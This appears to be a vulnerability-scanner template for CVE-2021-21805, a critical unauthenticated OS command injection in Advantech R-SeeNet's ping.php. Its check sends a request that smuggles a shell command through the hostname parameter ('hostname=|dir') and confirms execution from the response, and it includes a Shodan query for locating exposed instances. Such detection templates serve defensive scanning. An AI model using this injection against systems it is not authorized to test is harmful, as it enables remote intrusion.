id: CVE-2021-21805 info: name: Advantech R-SeeNet 2.4.12 - OS Command Injection author: arafatansari severity: critical description: | Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. reference: - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805 - https://nvd.nist.gov/vuln/detail/CVE-2021-21805 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-21805 cwe-id: CWE-78 cpe: cpe:2.3:a:advantech:r-seenet:*:*:*:*:*:*:*:* epss-score: 0.97394 metadata: max-request: 1 shodan-query: http.html:"R-SeeNet" verified: true tags: cve,cve2021,rce,r-seenet http: - method: GET path: - "{{BaseURL}}/php/ping.php?hostname=|dir" matchers-condition: and matchers: - type: word part: body words: - "Ping |dir" - "bottom.php" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # Enhanced by md on 2022/10/06